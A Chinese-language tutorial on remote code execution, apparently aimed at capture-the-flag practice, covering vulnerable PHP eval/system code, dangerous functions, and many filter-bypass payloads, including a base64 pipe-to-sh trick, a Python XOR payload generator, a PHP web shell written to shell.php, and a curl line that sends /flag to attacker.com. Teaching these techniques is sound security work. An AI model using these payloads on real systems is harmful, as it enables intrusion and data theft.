RCE命令执行

什么是 RCE

一、RCE 概述

RCE,全称 Remote Code Execution,即远程代码执行,是一种极其危险的安全漏洞。正常情况下,用户只能按照开发者设定的功能使用网站或应用程序。但如果存在 RCE 漏洞,攻击者便可突破限制,在目标服务器上执行自定义代码,进而控制系统。

二、命令执行与代码执行

RCE 漏洞通常表现为两种形式:

  • 代码执行:能够执行编程语言代码(如 PHP、Python、Java)。
  • 命令执行:能够执行操作系统命令。

两者可以相互利用。例如,通过代码执行获取命令执行权限,或利用命令执行来执行代码。

示例对比

代码执行漏洞(PHP 示例)

1
2
3
<?php
$code = $_GET['c'];
eval($code);

命令执行漏洞(PHP 示例)

1
2
3
<?php
$cmd = $_GET['c'];
system($cmd);

攻击者可以通过精心构造参数 c,传入恶意代码或命令,造成漏洞利用。

三、常见的代码/命令执行函数

3.1 PHP

代码执行函数:

  • eval()
  • assert()
  • preg_replace()(带 /e 修饰符)
  • create_function()
  • array_map()
  • call_user_func()
  • call_user_func_array()

命令执行函数:

  • system()
  • exec()
  • shell_exec()
  • pcntl_exec()
  • popen()
  • proc_open()
  • passthru()

3.2 Python

  • eval()
  • exec()
  • subprocess
  • os.system()
  • commands

3.3 Java

  • Runtime.exec()
  • ProcessBuilder
  • 反射机制(OGNL、SpEL、MVEL)

四、RCE 利用与绕过技巧

4.1 关键字过滤绕过方法

下面是美化后的版本,保留原文所有内容,仅在排版、分段和代码块展示上进行了优化:


4.1.1 通配符绕过

通配符可以匹配一个或多个字符,借此绕过关键字过滤。

1
2
cat fl*       # 匹配以 "fl" 开头的文件(如 flag、fl.txt)
cat ?la* # "?" 匹配单个字符(如 f?ag → flag)

Shell通配符规则:

  • *:匹配任意长度字符串(包括空)。
  • ?:匹配单个字符。

适用场景:

  • 已知文件名前缀(如 fl),但不确定完整名称时。
  • 字符过滤,如过滤 flag。

4.1.2 转义符号绕过

利用转义符号让系统将敏感关键字的部分字符当作普通字符处理,从而绕过过滤。

1
ca\t /fl\ag    # 实际执行 cat /flag

Shell解析机制:

反斜杠 \ 在 Shell 中有两种作用:

  • 转义特殊字符:例如 \$ 转义为 $\ 转义空格。
  • 普通字符:若 \ 后跟随非特殊字符(如 t、a),则 \ 被直接忽略。

验证命令:

1
echo ca\t /fl\ag    # 输出:cat /flag

关键细节:

  • \t 的误解:
    在 Shell 命令行中,\t 不会被解析为 Tab 字符(除非使用 echo -e 或编程语言处理)。例如:

    1
    echo -e "ca\t /fl\ag"   # 输出:ca      /flag(含 Tab)
  • 路径中的 /
    / 是路径分隔符,不会被转义。若命令中写成 /fl\ag,实际路径仍为 /flag\ 被忽略)。

  • 单引号拼接示例:

    1
    cat fl''ag         # fl''ag 被 Shell 解析为 flag(单引号内无操作)

4.1.3 空变量插入绕过

1
2
ca$*t fl$*ag    # 等价于 cat flag($* 为空)
ca$@t f${x}lag # 等价于 cat flag($@ 或 ${x} 为空)

变量替换规则:

  • $*$@ 表示所有位置参数,若未定义则为空。
  • ${x} 表示变量 x 的值,若未定义则为空。

绕过逻辑:
通过插入空变量将敏感关键字(如 cat)拆分为 ca + t,从而绕过正则检测(如 /\bcat\b/)。


4.1.4 分号拼接变量

1
a=fl;b=ag;cat$IFS$a$b   # 实际执行 cat flag

关键点:

  • $IFS: Shell 内部字段分隔符,默认为空格(可绕过空格过滤)。
  • 分号 ;: 分隔多个命令,$a$b 拼接为 flag。

变体示例:

1
a=c;b=at;c=fl;d=ag;$a$b $IFS$c$d  # 执行 cat flag

4.1.5 反引号命令替换

1
cat `ls`     # 执行 ls 后,将结果作为 cat 的参数

解析过程:

  • 执行 ls,假设输出 flag.txt
  • 反引号将其替换为参数,最终执行 cat flag.txt

风险提示:
若目录中有多个文件,会尝试全部读取,可能触发错误。


4.1.6 编码绕过技巧

Base64 编码示例:

1
2
echo 'cat /flag' | base64          # 输出:Y2F0IC9mbGFnCg==
echo Y2F0IC9mbGFnCg== | base64 -d | sh # 解码后执行 cat /flag

核心逻辑:
将敏感命令编码为无害字符串,绕过关键字过滤,最终解码后执行。

适用场景:
过滤了 catflag 等关键词,但允许管道符 | 或反引号。


4.1.7 组合绕过(文件创建+命令重组)

目标:
通过创建特殊文件名,利用 ls -t 按时间排序生成可执行命令。

操作步骤:

  1. 创建带反斜杠的文件:

    1
    2
    3
    4
    touch "ag"        # 创建文件 ag
    touch "fl\\" # 创建文件 fl\
    touch "t \\" # 创建文件 t \
    touch "ca\\" # 创建文件 ca\
  2. 按时间排序生成命令序列:

    1
    ls -t             # 输出:ca\ t \ fl\ ag
  3. 将命令写入文件并执行:

    1
    2
    ls -t > shell     # 文件内容为 ca\ t \ fl\ ag
    sh shell # 实际执行 cat flag

解析细节:

  • ls -t 按修改时间倒序排列,确保文件名顺序为 ca\ → t \ → fl\ → ag
  • Shell 执行时,反斜杠 \ 会被忽略,合并相邻字符串,最终解析为 cat flag

4.1.8 异或无符号(过滤0-9a-zA-Z)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
# # -- coding:UTF-8 --
# # Author:孤桜懶契
# # Date:2021/10/10
# # blog: gylq.gitee.io

import requests
import urllib
import re

# 生成可用的字符
def general_rce():
result = ''
preg = '[a-zA-Z0-9]'
for i in range(256):
for j in range(256):
if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
x = i ^ j
if x >= 32 and x <= 126:
a = '%' + hex(i)[2:].zfill(2)
b = '%' + hex(j)[2:].zfill(2)
result += (chr(x) + ' ' + a + ' ' + b + '\n')
f = open('xor_rce.txt', 'w')
f.write(result)

# 根据输入的命令在生成的txt中进行匹配
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("xor_rce.txt", "r")
while True:
t = f.readline()
if t == '':
break
if t[0] == i:
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = ("((\"" + s1 + "\")" + "^" + "(\"" + s2 + "\"))")
return output

def main():
general_rce()
while True:
s1 = input("\n[+] your function: ")
if s1 == "exit":
break
s2 = input("[+] your command: ")
param = action(s1) + action(s2)
print("\n result: \n" + param)

main()

4.1.9 过滤函数关键字绕过

核心场景:
systemcat 等函数/命令被禁用时的替代方案。

  1. 内联执行绕过:

    1
    2
    3
    4
    echo `ls`;         # 反引号执行命令  
    echo $(ls); # $() 执行命令
    ?><?=`ls`; # 短标签 + 反引号
    ?><?=$(ls); # 短标签 + $()

    原理: 利用反引号或 $() 直接执行命令,绕过 system 过滤。

  2. 替代命令读取文件:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    more flag.php      # 分页查看文件  
    less flag.php # 支持上下翻页
    head -n 10 flag.php # 查看前10行
    tac flag.php # 反向输出(从最后一行开始)
    tail -n 5 flag.php # 查看最后5行
    nl flag.php # 显示行号
    od -c flag.php # 二进制格式查看
    strings flag.php # 提取可打印字符
    curl file:///flag # 通过 curl 读取文件

    关键点:
    利用非敏感命令(如 more、strings)读取目标文件。

  3. 报错泄露内容:

    1
    sh /flag 2>%261    # 将报错信息重定向到标准输出

    说明:

    • %26 解码:在 URL 中,%26& 的编码。若通过 Web 传递参数,实际执行的命令为 sh /flag 2>&1
    • 重定向逻辑:
      • 2>:表示将标准错误(文件描述符2)重定向到指定位置。
      • &1:表示重定向到标准输出(文件描述符1)。

    预期效果:
    /flag 是一个非可执行文本文件,运行 sh /flag 会报错(如 “Syntax error”),错误信息中可能包含文件内容。
    通过 2>&1 将错误输出合并到标准输出,从而在回显中显示文件内容。

    实际测试:

    假设 /flag 内容为 "flag{test}"

    1
    2
    sh /flag 2>&1  
    # 输出:/flag: line 1: flag{test}: command not found

    漏洞利用: 通过错误信息泄露 /flag 内容。

    其他测试示例:

    1
    file -f flag.php   # 强制解析文件触发报错
    • 说明:
      • file 命令通常用于检测文件类型(如 file flag.php 输出 “PHP script text”)。
      • -f 选项会让 file 从指定文件中读取文件名列表,逐行检测这些文件的类型。

    操作逻辑:

    • flag.php 的内容是另一个文件名(如 /etc/passwd),则 file -f flag.php 会检测 /etc/passwd 的类型。
    • flag.php 包含非法格式内容(如纯文本 "flag{secret}"),file 命令会输出错误信息,可能包含文件内容。

    示例测试:

    1
    2
    3
    echo "flag{test}" > flag.php  
    file -f flag.php
    # 输出:flag.php: ERROR: cannot open `flag{test}' (No such file or directory)

    漏洞利用: 通过错误信息泄露 flag.php 的内容。


4.1.10 过滤空格绕过

核心场景:
当空格被过滤时,使用以下替代方案。

  1. URL 编码绕过:

    1
    ?cmd=cat%09flag.php    # %09 表示 Tab(需 URL 传递)
  2. 变量替换:

    1
    2
    cat${IFS}flag.php      # ${IFS} 表示空格
    a=fl;b=ag;cat$IFS$a$b # IFS 分割参数
  3. 大括号扩展:

    1
    {cat,flag.php}         # 等效于 cat flag.php

    大括号扩展规则:
    Shell 会将 {cmd,arg1,arg2} 扩展为 cmd arg1 arg2,此处 {cat,flag.php} 实际执行的是 cat flag.php


4.1.11 参数逃逸

Payload 示例:

1
?c=eval($_GET[1]);&1=system('tac flag.php');

说明:
源代码对参数 c 进行了过滤,通过构造一个新的参数 1 绕过过滤:

  • 先传入一个代码执行函数,构造一个新的参数 1
  • 参数 1 传入执行代码,绕过原有的过滤。

4.1.12 无回显利用

核心场景:
当命令执行结果无回显时,可利用以下方法将数据外带:

  1. 写文件后访问:

    1
    echo "<?php system('whoami');?>" > shell.php  

    后续操作:访问 http://target.com/shell.php 查看结果。

  2. 对外请求泄露数据:

    1
    curl "http://attacker.com/?data=$(cat /flag | base64)"

    说明:

    • cat /flag:读取 /flag 文件内容。
    • base64:将内容进行 Base64 编码(避免特殊字符破坏 URL)。
    • $(...):命令替换,将编码后的内容作为 URL 参数值。
    • curl:向攻击者服务器发送 HTTP GET 请求,参数 data 包含编码后的 flag 内容。

    提示:
    可以先用 dnslog 测试,如 ping 一下 dnslog 生成的地址。


4.1.13 文件包含伪协议+参数逃逸玩法

1
include $_GET[a]?>&a=data://text/plain,<?php system('ver');?>

说明:
使用 include 文件包含实现参数逃逸,再利用伪协议达成绕过目的。

如果过滤了php可以使用短标签绕过

1
/?c=data://text/plain,<?=system('tac fla*');?>